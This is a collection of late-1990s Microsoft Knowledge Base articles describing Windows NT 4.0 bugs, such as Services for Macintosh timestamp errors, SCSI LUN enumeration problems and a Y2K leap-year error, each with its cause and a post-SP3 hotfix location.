PRODUCT :Microsoft Windows NT
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug kbbug4.00 kbfix4.00 kbpatch NTSrv nttcp

---------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Server Enterprise Edition version 4.0
---------------------------------------------------------------------------

SYMPTOMS
========

There is a small time window in Afd.sys (the Microsoft Winsock2 service
provider for TDI transport) where it would not indicate data received
immediately after connection was accepted. This window should affect only
applications that use AcceptEx with buffer space for receiving data after
connection is accepted.

CAUSE
=====

In TCP/IP, timewait state queue management had a problem that caused time
wait states to exceed four minutes under stress.

RESOLUTION
==========

To resolve this problem, obtain the following fix or wait for the next
Windows NT service pack.

This fix should have the following time stamp:

   12/11/97  12:16p                65,488 Afd.sys   (Intel)
   12/01/97  06:15p               147,632 Tcpip.sys (Intel)

   11/21/97  06:41p               112,304 Afd.sys   (Alpha)
   11/26/97  04:13p               263,216 Tcpip.sys (Alpha)

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/iis4-fix/

NOTE: The above link is one path; it has been wrapped for readability.

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

Additional query words: 4.00

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q170965
TITLE   :SFM Time and Date Stamp Change Copying Between Volumes Locally
PRODUCT :Microsoft Windows NT
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug4.00 kbfix4.00 kbfile
---------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
---------------------------------------------------------------------------

SYMPTOMS
========

When copying folders and files from one volume to another volume using a
Macintosh, the time and date stamps of the folder and files will change to
the date and time of the copy. This should not occur when doing a copy as
the data of the file has not changed.

This problem does not occur when copying files from Macintosh-accessible
volumes over the network. The problem only occurs when copying files and
folders on volumes residing on the same server.

CAUSE
=====

The problem was caused by Services for Macintosh (SFM) having multiple data
streams open on a file. Each stream has its own last modified time, and SFM
had only changed one of the stream times. Because NTFS stores a last
modified time on a per-file basis, not per-stream basis, the time that was
written to the file was not always the one that SFM had set.

This has been addressed by closing all of the data streams except one, and
then setting the time on that one stream, resulting in the time and date
being set to the last modified time, which will be the same as the original
file being copied from.

RESOLUTION
==========

To resolve this problem, contact Microsoft Technical Support to obtain the
following fix, or wait for the next Windows NT service pack.

This fix should have the following time stamp:

   02/03/98  02:10p               130,352 Sfmsrv.sys (Intel)
   02/03/98  03:07p               234,064 Sfmsrv.sys (Alpha)

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/sfm-fix/

NOTE: The above link is one path; it has been wrapped for readability.

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

MORE INFORMATION
================

For more information, please see the following articles in the Microsoft
Knowledge Base:

   ARTICLE-ID: Q166571
   TITLE     : Creating an SFM Volume on Large Partition Causes a Stop 0x24

   ARTICLE-ID: Q172511
   TITLE     : Stop 0x0000000A w/ Services for Macintosh & McAfee Anti-
               Virus

   ARTICLE-ID: Q177644
   TITLE     : Commenting Macintosh File Changes Date and Time Stamp

   ARTICLE-ID: Q178364
   TITLE     : Macintosh Clients See Files on WinNT Server Constantly
               Moving

   ARTICLE-ID: Q180622
   TITLE     : STOP:0x0000001E with STATUS_INSUFFICIENT_RESOURCES in
               Sfmsrv.sys

   ARTICLE-ID: Q180716
   TITLE     : SFM Fails to Accept Associations with Two-Character
               Extensions

   ARTICLE-ID: Q180717
   TITLE     : SFM: File Date and Time Stamp Change with Get Info

   ARTICLE-ID: Q180718
   TITLE     : SFM: Disconnect Macintosh Clients before Dismounting Volume

   ARTICLE-ID: Q185722
   TITLE     : SFM Rebuilds Indexes upon Restarting of Windows NT

Additional query words: 4.00 macfile mac
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q171295
TITLE   :Fault Tolerant Systems May Encounter Problems with WinNT SP3
PRODUCT :Microsoft Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS
KEYWORD :kb3rdparty kbbug kbbug4.00.sp3 kbfile kbfix kbfix4.00 NTSrvWkst

-------------------------------------------------------------------------
The information in this article applies to:

  - Microsoft Windows NT Workstation version 4.0
  - Microsoft Windows NT Server version 4.0
-------------------------------------------------------------------------

SYMPTOMS
========

With the FirstWatch program, transition failures have been observed that
require the use of CLARiiON's Trespass utility. For example, the system may
start in Online Primary mode, but any attempt to change into Dual mode
fails. The Ha.log file contains errors that occurred while using Trespass.
You may also notice that the Scsi.exe, Clarscsi.exe, and Diskcfg.exe
programs do not display LUNs (logical unit numbers), which Trespass needs
to access.

The CLARiiON Agent Service may report problems talking to the CLARiiON in
the event log. The following two events messages have been logged:

 - ERROR: Opening Device: , 1:0:0.

 - Is the device configured correctly?

After these events, attempting to select the host in ArrayGuide reports the
following error:

   Could not connect to the chassis, check device name in fw31a's agent
   configuration file.

ATF failures have also been observed.

CAUSE
=====

This problem is caused by changes in the way Windows NT handles the SCSI
LUN enumeration in Service Pack 3.

RESOLUTION
==========

Perform the following steps to resolve this problem:

1. Obtain the hotfix from the following internet location:

      ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
      hotfixes-postSP3/scsi-fix

2. WARNING: Using Registry Editor incorrectly can cause serious, system-
   wide problems that may require you to reinstall Windows NT to correct
   them. Microsoft cannot guarantee that any problems resulting from the
   use of Registry Editor can be solved. Use this tool at your own risk.

   Install the new Scsiport.sys and go to the following registry key:

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Disk\

3. Add the following new value to the above registry path to activate the
   new code:

      Value Name = ScanDisconnectedDevices
      Data Type = REG_DWORD
      Data = 1

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

MORE INFORMATION
================

The third-party products discussed here are manufactured by vendors
independent of Microsoft; we make no warranty, implied or otherwise,
regarding these products' performance or reliability.

Additional query words: 4.00 sp3 NG

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q172511
TITLE   :Stop 0x0000000A w/ Services for Macintosh & McAfee Anti-Virus
PRODUCT :Microsoft Windows NT
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug3.51 kbbug4.00 kbfix4.00 kbfile
--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server versions 3.51 and 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

When a system runs Services for Macintosh and McAfee Anti-Virus software,
you may receive a blue screen STOP 0xA error similar to the following:

   STOP: 0x0000000a (0x00000004, 0x00000002, 0x00000001, 0x8010b262)

CAUSE
=====

McAfee Anti-Virus software uses a filter driver. The presence of a filter
driver requires system drivers to allocate additional stack space in I/O
request packets (IRPs). An IRP in use by Services for Macintosh had
insufficient space for insertion of filter driver stack information. The
result was the STOP 0xA error message.

RESOLUTION
==========

Windows NT 4.0
--------------

To resolve this problem, contact Microsoft Technical Support to obtain the
following fix, or wait for the next Windows NT service pack.

This fix should have the following time stamp:

   02/03/98  02:10p               130,352 Sfmsrv.sys (Intel)
   02/03/98  03:07p               234,064 Sfmsrv.sys (Alpha)

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/sfm-fix/

NOTE: The above link is one path; it has been wrapped for readability.

Windows NT 3.51
---------------

To resolve this problem, contact Microsoft Technical Support to obtain the
following fix, or wait for the next Windows NT service pack.

STATUS
======

Windows NT 4.0
--------------

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

Windows NT 3.51
---------------

Microsoft has confirmed this to be a problem in Windows NT version 3.51. A
supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

MORE INFORMATION
================

The third-party products discussed here are manufactured by vendors
independent of Microsoft; we make no warranty, implied or otherwise,
regarding these products' performance or reliability.

For more information, please see the following articles in the Microsoft
Knowledge Base:

   ARTICLE-ID: Q166571
   TITLE     : Creating an SFM Volume on Large Partition Causes a Stop 0x24

   ARTICLE-ID: Q170956
   TITLE     : SFM Time and Date Stamp Change Copying Between Volumes
               Locally

   ARTICLE-ID: Q177644
   TITLE     : Commenting Macintosh File Changes Date and Time Stamp

   ARTICLE-ID: Q178364
   TITLE     : Macintosh Clients See Files on WinNT Server Constantly
               Moving

   ARTICLE-ID: Q180622
   TITLE     : STOP:0x0000001E with STATUS_INSUFFICIENT_RESOURCES in
               Sfmsrv.sys

   ARTICLE-ID: Q180716
   TITLE     : SFM Fails to Accept Associations with Two-Character
               Extensions

   ARTICLE-ID: Q180717
   TITLE     : SFM: File Date and Time Stamp Change with Get Info

   ARTICLE-ID: Q180718
   TITLE     : SFM: Disconnect Macintosh Clients before Dismounting Volume

   ARTICLE-ID: Q185722
   TITLE     : SFM Rebuilds Indexes upon Restarting of Windows NT

Additional query words: 4.00 3.51 sfm
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q173277
TITLE   :No Memory.dmp File Created with RAM Above 1.7 GB
PRODUCT :Microsoft Windows NT
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug4.00 kberrmsg kbfix4.00 kbtool NTSrvWkst ntutil

--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server version 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

In systems where RAM exceeds 1.7 GB, Memory.dmp files are not generated
even though a sufficient pagefile (RAM + 1 GB) is available on the boot
drive.

Additionally, if larger Memory.dmp file images are produced (by applying
hotfixes referenced below), several support utilities should be updated to
read the larger Memory.dmp images. Without these updated files for dumpchk,
dumpexam, i386kd (or alphakd, mip, ppc) and windbg the following error
message is generated:

   Could not initialize crash dump file <path to dumpfile>.

CAUSE
=====

Several causes were isolated related to mapping views of very large memory
images.

RESOLUTION
==========

To resolve this problem, obtain the hotfix below, or wait for the next
service pack.

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/2gcrash

NOTE: The above link is one path; it has been wrapped for readability.

 - Ntoskrnl.exe (or Ntkrnlmp.exe) and Savedump.exe are used to produce
   larger Memory.dmp files.

 - Dumpchk.exe and Dumpexam.exe are used to verify the larger Memory.dmp
   files.

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

Additional query words: 4.00

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q175093
TITLE   :User Manager Does Not Recognize February 2000 As a Leap Year
PRODUCT :Microsoft Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS
KEYWORD :kbbug4.00 kbfix4.00 kb2000
--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server, Enterprise Edition version 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

When you set an account to expire on February 29, 2000, User Manager
displays the following error message:

   February only has 28 days in this year.

RESOLUTION
==========

To resolve this problem, obtain the following fix or wait for the next
Windows NT service pack.

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/y2k-fix/

NOTE: The above link is one path; it has been wrapped for readability.

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

MORE INFORMATION
================

February 2000 is a leap year and will have 29 days.

For more information on what is fixed in Y2K-fix, please see the following
articles in the Microsoft Knowledge Base:

   ARTICLE-ID: Q180122
   TITLE     : After Changing the Time, Windows NT May Skip a Day

   ARTICLE-ID: Q183123
   TITLE     : Find Files Displays Garbled Date if Year is 2000 or Greater

   ARTICLE-ID: Q183125
   TITLE     : Shell Doc Property Dialog Custom Date Incorrect After Year 2000

Additional query words: 4.00 year 2000 y2k 2k usrmgr

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q177644
TITLE   :Commenting Macintosh File Changes Date and Time Stamp
PRODUCT :Microsoft Windows NT
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug4.00 kbfix4.00 kbfile
-------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
-------------------------------------------------------------------------

SYMPTOMS
========

When a Macintosh user adds, deletes, or changes a comment on a file located
on a computer running Windows NT Server 4.0 and running Services For
Macintosh, the date and time stamps on the file are changed as viewed by
both Macintosh and PC users. This is not correct behavior in a Macintosh
environment. In this case, altering a comment does not constitute a change
to a file.

CAUSE
=====

Services for Macintosh relies on NTFS, which is a different operation than
HFS uses by the Macintosh computer. Any change to a file will cause the
date and time stamps to be altered.

RESOLUTION
==========

To resolve this problem, contact Microsoft Technical Support to obtain the
following fix, or wait for the next Windows NT service pack.

This fix should have the following time stamp:

   02/03/98  02:10p               130,352 Sfmsrv.sys (Intel)
   02/03/98  03:07p               234,064 Sfmsrv.sys (Alpha)

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/sfm-fix/

NOTE: The above link is one path; it has been wrapped for readability.

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

MORE INFORMATION
================

For more information, please see the following articles in the Microsoft
Knowledge Base:

   ARTICLE-ID: Q166571
   TITLE     : Creating an SFM Volume on Large Partition Causes a Stop 0x24

   ARTICLE-ID: Q170956
   TITLE     : SFM Time and Date Stamp Change Copying Between Volumes
               Locally

   ARTICLE-ID: Q172511
   TITLE     : Stop 0x0000000A w/ Services for Macintosh & McAfee Anti-
               Virus

   ARTICLE-ID: Q178364
   TITLE     : Macintosh Clients See Files on WinNT Server Constantly
               Moving

   ARTICLE-ID: Q180622
   TITLE     : STOP:0x0000001E with STATUS_INSUFFICIENT_RESOURCES in
               Sfmsrv.sys

   ARTICLE-ID: Q180716
   TITLE     : SFM Fails to Accept Associations with Two-Character
               Extensions

   ARTICLE-ID: Q180717
   TITLE     : SFM: File Date and Time Stamp Change with Get Info

   ARTICLE-ID: Q180718
   TITLE     : SFM: Disconnect Macintosh Clients before Dismounting Volume

   ARTICLE-ID: Q185722
   TITLE     : SFM Rebuilds Indexes upon Restarting of Windows NT

Additional query words: 4.0 SFM
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q177668
TITLE   :Calibration Does Not Change When You Calibrate Foot Pedals
PRODUCT :Microsoft Windows NT
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug kbbug4.00 kbenv kbfix4.00 kbhw kbpatch nthw NTSrvWkst

--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Server Enterprise Edition version 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

The value of the calibration bar may not change when you attempt to
calibrate foot pedals attached to the joystick game port.

CAUSE
=====

The joystick driver clips timing information returned from the resistive
inputs of the joystick to a maximum of 1600 microseconds. With a foot
pedal, the value is just slightly greater.

RESOLUTION
==========

To resolve this problem, obtain the following fix or wait for the next
Windows NT service pack.

This fix should have the following time stamp:

   11/24/97  02:48p                 7,760 Joystick.sys (Intel)

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/joystick-fix/

NOTE: The above link is one path; it has been wrapped for readability.

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

MORE INFORMATION
================

Joystick.sys is in the Drvlib\Multimed\Joystick\<Platform> folder of the
Windows NT 4.0 CD-ROM.

Additional query words: 4.00 pedal rudder

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q178205
TITLE   :Connecting to a Server is Slow over RAS Using LMHOSTS File
PRODUCT :Microsoft Windows NT
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug4.00 kbfix4.00 kbfile kbbug kbfix

-----------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server version 4.0
-----------------------------------------------------------------------

SYMPTOMS
========

When you dial into a remote site, the initial attempt to connect to a
server share point can take up to 90 seconds to complete.

CAUSE
=====

If the name of the server being connected to is resolved by using the local
LMHOSTS file, when attempting to connect, Windows NT must wait for the
connection attempt over the local LAN to timeout before the connection over
RAS is accepted. If you use the normal default TCP/IP values for
TcpMaxConnectRetransmissions, it will take 90 seconds to time out.

This problem is not experienced if WINS or broadcast name resolution is
used to locate the computer being connected to.

RESOLUTION
==========

You can work around this problem by lowering the value of
TcpMaxConnectRetransmissions. Setting this to a value of 1 reduces the
delay to 18 seconds. However, lowering this value may cause problems when
establishing a connection to a server over a slow link.

To resolve this problem, obtain the following fix or wait for the next
Windows NT service pack.

This fix should have the following time stamp:

   12/18/97  08:43p               119,856 Netbt.sys (Intel)
   12/18/97  08:40p               220,048 Netbt.sys (Alpha)

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/netbt-fix/

NOTE: The above link is one path; it has been wrapped for readability.

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

Additional query words: 4.00
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q178364
TITLE   :Macintosh Clients See Files on WinNT Server Constantly Moving
PRODUCT :Microsoft Windows NT
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug3.5 kbbug3.51 kbbug4.00 kbfix4.00 kbfile
--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Advanced Server version 3.1
 - Microsoft Windows NT Server versions 3.5, 3.51, and 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

When you view files and folders on a computer running both Windows NT
Server 4.0 and Services for Macintosh from a Macintosh OS 8.0 client, you
may see files and folders constantly shifting, similar to what is seen
when Cleanup is selected from the Macintosh View menu. Users may also see
duplicate files in the same folder.

CAUSE
=====

Macintosh OS 8.0 Finder has changed in functionality regarding the
AppleShare client and Finder. Finder now attempts to set the initialization
bit option in the file's resource fork. Failure to set this bit causes the
constant shifting of the files. Due to changes in how Macintosh clients
cache a remote directory list, you may see similar symptoms for reasons
other than this issue.

RESOLUTION
==========

Windows NT 4.0
--------------

To resolve this problem, contact Microsoft Technical Support to obtain the
following fix, or wait for the next Windows NT service pack.

This fix should have the following time stamp:

   02/03/98  02:10p               130,352 Sfmsrv.sys (Intel)
   02/03/98  03:07p               234,064 Sfmsrv.sys (Alpha)

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/sfm-fix/

NOTE: The above link is one path; it has been wrapped for readability.

Windows NT Advanced Server version 3.1
and Windows NT Server versions 3.5, 3.51
----------------------------------------

To resolve this problem, upgrade to Windows NT 4.0 and apply the hotfix.

STATUS
======

Windows NT 4.0
--------------

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
\* AAAA
A supported fix is now available, but has not been fully regression tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

